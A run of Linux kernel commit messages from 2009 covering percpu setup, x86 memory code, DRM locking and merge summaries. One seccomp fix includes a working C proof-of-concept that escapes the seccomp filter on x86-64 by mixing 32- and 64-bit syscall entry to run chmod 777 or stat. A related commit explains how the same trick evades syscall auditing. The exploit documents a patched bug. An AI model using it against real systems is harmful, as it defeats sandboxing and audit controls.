Impact: no functional change

When the first chunk is created, its initial area map is not allocated
because kmalloc isn't online yet.  The map is allocated and
initialized on the first allocation request on the chunk.  This works
fine but the scattering of initialization logic between the init
function and allocation path is a bit confusing.

This patch makes the first chunk initialize and use minimal statically
allocated map from pcpu_setpu_first_chunk().  The map resizing path
still needs to handle this specially but it's more straight-forward
and gives more latitude to the init path.  This will ease future
changes.
Signed-off-by: Tejun Heo <tj@kernel.org>

Impact: cosmetic, preparation for future changes

Make the following renames in pcpur_setup_first_chunk() in preparation
for future changes.

* s/free_size/dyn_size/
* s/static_vm/first_vm/
* s/static_chunk/schunk/
Signed-off-by: Tejun Heo <tj@kernel.org>

Impact: cleaup

Make the following cleanups.

* There isn't much arch-specific about PERCPU_MODULE_RESERVE.  Always
  define it whether arch overrides PERCPU_ENOUGH_ROOM or not.

* blackfin overrides PERCPU_ENOUGH_ROOM to align static area size.  Do
  it by default.

* percpu allocation sizes doesn't have much to do with the page size.
  Don't use PAGE_SHIFT in their definition.
Signed-off-by: Tejun Heo <tj@kernel.org>
Cc: Bryan Wu <cooloney@kernel.org>

They are used by __set_fixmap->set_pte_vaddr_pud, which can
be used by arch_setup_additional_pages(), and so is used
after init.
Signed-off-by: Jeremy Fitzhardinge <jeremy.fitzhardinge@citrix.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>

The function seems to have disappeared at some point, leaving
some vestigial prototypes behind...
Signed-off-by: Jeremy Fitzhardinge <jeremy.fitzhardinge@citrix.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>

Merge branches 'x86/apic', 'x86/cpu', 'x86/fixmap', 'x86/mm', 'x86/sched', 'x86/setup-lzma', 'x86/signal' and 'x86/urgent' into x86/core

Impact: build fix

 arch/x86/mm/highmem_32.c:187: error: static declaration of 'set_highmem_pages_init' follows non-static declaration
 arch/x86/include/asm/numa_32.h:8: error: previous declaration of 'set_highmem_pages_init' was here
Signed-off-by: Pekka Enberg <penberg@cs.helsinki.fi>
LKML-Reference: <1236082212.2675.24.camel@penberg-laptop>
Signed-off-by: Ingo Molnar <mingo@elte.hu>

Impact: cleanup

This patch moves set_highmem_pages_init() to arch/x86/mm/highmem_32.c.

The declaration of the function is kept in asm/numa_32.h because
asm/highmem.h is included only if CONFIG_HIGHMEM is enabled so we
can't put the empty static inline function there.
Signed-off-by: Pekka Enberg <penberg@cs.helsinki.fi>
LKML-Reference: <1236082212.2675.24.camel@penberg-laptop>
Signed-off-by: Ingo Molnar <mingo@elte.hu>

Impact: unification

This patch introduces a common arch/x86/mm/init.c and moves the identical
free_init_pages() and free_initmem() functions to the file.
Signed-off-by: Pekka Enberg <penberg@cs.helsinki.fi>
LKML-Reference: <1236078906.2675.18.camel@penberg-laptop>
Signed-off-by: Ingo Molnar <mingo@elte.hu>

Impact: unification

This patch ports commit 3c1df68b ("x86: make
sure initmem is writable") to the 64-bit version to unify implementations of
free_init_pages().
Signed-off-by: Pekka Enberg <penberg@cs.helsinki.fi>
Cc: Arjan van de Ven <arjan@linux.intel.com>
LKML-Reference: <1236078904.2675.17.camel@penberg-laptop>
Signed-off-by: Ingo Molnar <mingo@elte.hu>

Impact: unification

This patch adds sanity checks that are already in init_64.c to init_32.c.
Signed-off-by: Pekka Enberg <penberg@cs.helsinki.fi>
LKML-Reference: <1236078902.2675.16.camel@penberg-laptop>
Signed-off-by: Ingo Molnar <mingo@elte.hu>

Impact: cleanup

This patch changes find_early_table_space() to use roundup() for rounding up
tables to page size to unify the common parts of the 32-bit and 64-bit
implementations.
Signed-off-by: Pekka Enberg <penberg@cs.helsinki.fi>
LKML-Reference: <1236077705.2675.6.camel@penberg-laptop>
Signed-off-by: Ingo Molnar <mingo@elte.hu>

Impact: cleanup

The __VMALLOC_RESERVE global variable is not used in init_32.c. Move that to
pgtable_32.c to reduce the diff between init_32.c and init_64.c.
Signed-off-by: Pekka Enberg <penberg@cs.helsinki.fi>
LKML-Reference: <1236077704.2675.4.camel@penberg-laptop>
Signed-off-by: Ingo Molnar <mingo@elte.hu>

Impact: fix stuck NMIs and non-working oprofile on certain CPUs

Resetting the counter width of the performance counters on Intel's
Core2 CPUs, breaks the delivery of NMIs, when running in x86_64 mode.

This should fix bug #12395:

  http://bugzilla.kernel.org/show_bug.cgi?id=12395Signed-off-by: Tim Blechmann <tim@klingt.org>
Signed-off-by: Robert Richter <robert.richter@amd.com>
LKML-Reference: <20090303100412.GC10085@erda.amd.com>
Cc: <stable@kernel.org>
Signed-off-by: Ingo Molnar <mingo@elte.hu>

Impact: fix bad frame in rt_sigreturn on 64-bit

After commit 97286a2b some applications
fail to return from signal handler:

[  145.150133] firefox[3250] bad frame in rt_sigreturn frame:00007f902b44eb28 ip:352e80b307 sp:7f902b44ef70 orax:ffffffffffffffff in libpthread-2.9.so[352e800000+17000]
[  665.519017] firefox[5420] bad frame in rt_sigreturn frame:00007faa8deaeb28 ip:352e80b307 sp:7faa8deaef70 orax:ffffffffffffffff in libpthread-2.9.so[352e800000+17000]

The root cause is forgetting to keep 64 byte aligned value of
fpstate for next stack pointer calculation.
Reported-by: Jaswinder Singh Rajput <jaswinder@kernel.org>
Reported-by: Mike Galbraith <efault@gmx.de>
Signed-off-by: Hiroshi Shimamoto <h-shimamoto@ct.jp.nec.com>
LKML-Reference: <49AC85C1.7060600@ct.jp.nec.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>

Impact: fix failed EFI bootup in certain circumstances

Ying Huang found init_memory_mapping() has problem with small ranges
less than 2M when he tried to direct map the EFI runtime code out of
max_low_pfn_mapped.

It turns out we never considered that case and didn't check the range...
Reported-by: Ying Huang <ying.huang@intel.com>
Signed-off-by: Yinghai Lu <yinghai@kernel.org>
Cc: Brian Maly <bmaly@redhat.com>
LKML-Reference: <49ACDDED.1060508@kernel.org>
Signed-off-by: Ingo Molnar <mingo@elte.hu>

This reverts commit 155b25bc, which was
totally wrong - the "embedded" options still exists (very much so) even
on non-embedded platforms.

It's just that we don't bother with actually asking about them when
we're not embedded, we just take their default values (which is usually
'y' - the options add features that may not be worth it in a constrained
environment).
Noticed-by: Andrew Morton <akpm@linux-foundation.org>
Cc: Randy Dunlap <randy.dunlap@oracle.com>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>

* 'drm-fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/airlied/drm-2.6:
  drm/i915: Fix use-before-null-check in i915_irq_emit().
  drm: Avoid client deadlocks when the master disappears.
  drm: Wake up all lock waiters when the master disappears.
  drm: Don't return ERESTARTSYS to user-space.

This could be triggered by a client asking to emit an irq when the device
wasn't initialized.
Signed-off-by: Eric Anholt <eric@anholt.net>
Signed-off-by: Dave Airlie <airlied@linux.ie>

This is done by
1) Wake up lock waiters when we close the master file descriptor.
   Not when the master structure is removed, since the latter
   requires the waiters themselves to release the refcount on the
   master structure -> Deadlock.
2) Send a SIGTERM to all clients waiting for the lock.
   Normally these clients will get a SIGPIPE when the X server dies,
   but clients may also spin trying to grab the DRM lock, without
   getting any sort of notification.
Signed-off-by: Thomas Hellstrom <thellstrom@vmware.com>
Signed-off-by: Dave Airlie <airlied@linux.ie>

Currently only one waiter is woken up, leaving other waiters
hanging waiting for the DRM lock.
Signed-off-by: Thomas Hellstrom <thellstrom@vmware.com>
Signed-off-by: Dave Airlie <airlied@linux.ie>

That return code is for in-kernel use only.
Use EINTR instead.
Signed-off-by: Thomas Hellstrom <thellstrom@vmware.com>
Signed-off-by: Dave Airlie <airlied@linux.ie>

The COMPAT_BRK kconfig symbol does not depend on EMBEDDED, but it is in
the midst of the EMBEDDED menu symbols, so it mucks up the EMBEDDED
menu.  Fix by moving it to just after all of the EMBEDDED menu symbols.

Also, surround all of the EMBEDDED symbols with "if EMBEDDED"/"endif" so
that this EMBEDDED block is clearer.
Signed-off-by: Randy Dunlap <randy.dunlap@oracle.com>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>

* 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/drzeus/mmc:
  sdhci: Add NO_BUSY_IRQ quirk for Marvell CAFE host chip
  sdhci: Add quirk for controllers with no end-of-busy IRQ

* 'fix/hda' of git://git.kernel.org/pub/scm/linux/kernel/git/tiwai/sound-2.6:
  ALSA: hda - Add probe_mask default for Toshiba laptop with ALC268
  ALSA: hda - Add quirk for new HP xw series
  ALSA: hda - Fix digital mic on dell-m4-1 and dell-m4-3

Merge branch 'x86-fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip

* 'x86-fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip:
  fix warning in io_mapping_map_wc()
  x86: i915 needs pgprot_writecombine() and is_io_mapping_possible()

* git://git.kernel.org/pub/scm/linux/kernel/git/davem/net-2.6: (29 commits)
  zaurus: add usb id for motomagx phones
  usbnet: make usbnet_get_link() fall back to ethtool_op_get_link()
  veth: Fix carrier detect
  cdc_ether: add usb id for Ericsson F3507g
  r8169: read MAC address from EEPROM on init (2nd attempt)
  tcp: fix retrans_out leaks
  net headers: export dcbnl.h
  net headers: cleanup dcbnl.h
  netpoll: Add drop checks to all entry points
  gianfar: Do right check on num_txbdfree
  pkt_sched: sch_drr: Fix oops in drr_change_class.
  b44: Disable device on shutdown
  b44: Unconditionally enable interrupt routing on reset
  net: fix hp-plus build error
  libertas: fix misuse of netdev_priv() and dev->ml_priv
  ipv6: don't use tw net when accounting for recycled tw
  asix: new device ids
  tcp_scalable: Update malformed & dead url
  netfilter: xt_recent: fix proc-file addition/removal of IPv4 addresses
  netxen: handle pci bar 0 mapping failure
  ...

Merge branch 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/jmorris/security-testing-2.6

* 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/jmorris/security-testing-2.6:
  selinux: Fix a panic in selinux_netlbl_inode_permission()

Since I will loose the old address soon, please change it.
Signed-off-by: Karsten Keil <kkeil@linux-pingi.de>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>

* 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/dtor/input:
  Input: elantech - touchpad driver miss-recognising logitech mice
  Input: synaptics - ensure we reset the device on resume
  Input: usbtouchscreen - fix eGalax HID ignoring
  Input: ambakmi - fix timeout handling in amba_kmi_write()
  Input: pxa930_trkball - fix write timeout handling
  Input: struct device - replace bus_id with dev_name(), dev_set_name()
  Input: bf54x-keys - fix debounce time validation
  Input: spitzkbd - mark probe function as __devinit
  Input: omap-keypad - mark probe function as __devinit
  Input: corgi_ts - mark probe function as __devinit
  Input: corgikbd - mark probe function as __devinit
  Input: uvc - the button on the camera is KEY_CAMERA
  Input: psmouse - make MOUSE_PS2_LIFEBOOK depend on X86
  Input: atkbd - make forced_release_keys[] static
  Input: usbtouchscreen - allow reporting calibrated data

* 'for_linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tytso/ext4:
  ext4: don't call jbd2_journal_force_commit_nested without journal
  ext4: Reorder fs/Makefile so that ext2 root fs's are mounted using ext2
  ext4: Remove duplicate call to ext4_commit_super() in ext4_freeze()

* git://git.kernel.org/pub/scm/linux/kernel/git/jejb/scsi-rc-fixes-2.6:
  [SCSI] mpt: fix disable lsi sas to use msi as default
  [SCSI] fix ABORTED_COMMAND looping forever problem
  [SCSI] sd: revive sd_index_lock
  [SCSI] cxgb3i: update the driver version to 1.0.1
  [SCSI] cxgb3i: Fix spelling errors in documentation
  [SCSI] cxgb3i: added missing include in cxgb3i_ddp.h
  [SCSI] cxgb3i: Outgoing pdus need to observe skb's MAX_SKB_FRAGS
  [SCSI] cxgb3i: added per-task data to track transmit progress
  [SCSI] cxgb3i: transmit work-request fixes
  [SCSI] hptiop: Add new PCI device ID

On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with
ljmp, and then use the "syscall" instruction to make a 64-bit system
call.  A 64-bit process make a 32-bit system call with int $0x80.

In both these cases under CONFIG_SECCOMP=y, secure_computing() will use
the wrong system call number table.  The fix is simple: test TS_COMPAT
instead of TIF_IA32.  Here is an example exploit:

	/* test case for seccomp circumvention on x86-64

	   There are two failure modes: compile with -m64 or compile with -m32.

	   The -m64 case is the worst one, because it does "chmod 777 ." (could
	   be any chmod call).  The -m32 case demonstrates it was able to do
	   stat(), which can glean information but not harm anything directly.

	   A buggy kernel will let the test do something, print, and exit 1; a
	   fixed kernel will make it exit with SIGKILL before it does anything.
	*/

	#define _GNU_SOURCE
	#include <assert.h>
	#include <inttypes.h>
	#include <stdio.h>
	#include <linux/prctl.h>
	#include <sys/stat.h>
	#include <unistd.h>
	#include <asm/unistd.h>

	int
	main (int argc, char **argv)
	{
	  char buf[100];
	  static const char dot[] = ".";
	  long ret;
	  unsigned st[24];

	  if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0)
	    perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?");

	#ifdef __x86_64__
	  assert ((uintptr_t) dot < (1UL << 32));
	  asm ("int $0x80 # %0 <- %1(%2 %3)"
	       : "=a" (ret) : "0" (15), "b" (dot), "c" (0777));
	  ret = snprintf (buf, sizeof buf,
			  "result %ld (check mode on .!)\n", ret);
	#elif defined __i386__
	  asm (".code32\n"
	       "pushl %%cs\n"
	       "pushl $2f\n"
	       "ljmpl $0x33, $1f\n"
	       ".code64\n"
	       "1: syscall # %0 <- %1(%2 %3)\n"
	       "lretl\n"
	       ".code32\n"
	       "2:"
	       : "=a" (ret) : "0" (4), "D" (dot), "S" (&st));
	  if (ret == 0)
	    ret = snprintf (buf, sizeof buf,
			    "stat . -> st_uid=%u\n", st[7]);
	  else
	    ret = snprintf (buf, sizeof buf, "result %ld\n", ret);
	#else
	# error "not this one"
	#endif

	  write (1, buf, ret);

	  syscall (__NR_exit, 1);
	  return 2;
	}
Signed-off-by: Roland McGrath <roland@redhat.com>
[ I don't know if anybody actually uses seccomp, but it's enabled in
  at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ]
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>

On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with
ljmp, and then use the "syscall" instruction to make a 64-bit system
call.  A 64-bit process make a 32-bit system call with int $0x80.

In both these cases, audit_syscall_entry() will use the wrong system
call number table and the wrong system call argument registers.  This
could be used to circumvent a syscall audit configuration that filters
based on the syscall numbers or argument details.
Signed-off-by: Roland McGrath <roland@redhat.com>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>

As described here: http://lkml.org/lkml/2009/2/20/265

The CAFE chip is broken due to commit e809517f.
Anton added a quirk here: http://lkml.org/lkml/2009/2/20/279 that fixes
CAFE's problem.  This adds the quirk for CAFE.
Signed-off-by: Andres Salomon <dilinger@debian.org>
Signed-off-by: Pierre Ossman <drzeus@drzeus.cx>

The Samsung SDHCI (and FSL eSDHC) controller block seems to fail
to generate an INT_DATA_END after the transfer has completed and
the bus busy state finished.

Changes in e809517f to use the
new busy method are the cause of the behaviour change.
Signed-off-by: Ben Dooks <ben-linux@fluff.org>
Signed-off-by: Anton Vorontsov <avorontsov@ru.mvista.com>
Signed-off-by: Pierre Ossman <drzeus@drzeus.cx>

The virtually mapped percpu space causes us two problems:

 - for hypercalls which take an mfn, we need to do a full pagetable
   walk to convert the percpu va into an mfn, and

 - when a hypercall requires a page to be mapped RO via all its aliases,
   we need to make sure its RO in both the percpu mapping and in the
   linear mapping

This primarily affects the gdt and the vcpu info structure.
Signed-off-by: Jeremy Fitzhardinge <jeremy.fitzhardinge@citrix.com>
Cc: Xen-devel <xen-devel@lists.xensource.com>
Cc: Gerd Hoffmann <kraxel@redhat.com>
Cc: Rusty Russell <rusty@rustcorp.com.au>
Cc: Tejun Heo <htejun@gmail.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>

Its the correct thing to do before using the struct in a prototype.
Signed-off-by: Jeremy Fitzhardinge <jeremy.fitzhardinge@citrix.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>

With x86-32 and -64 using the same mechanism for managing the
tss io permissions bitmap, large chunks of process*.c are
trivially unifyable, including:

 - exit_thread
 - flush_thread
 - __switch_to_xtra (along with tsc enable/disable)

and as bonus pickups:

 - sys_fork
 - sys_vfork

(Note: asmlinkage expands to empty on x86-64)
Signed-off-by: Jeremy Fitzhardinge <jeremy.fitzhardinge@citrix.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>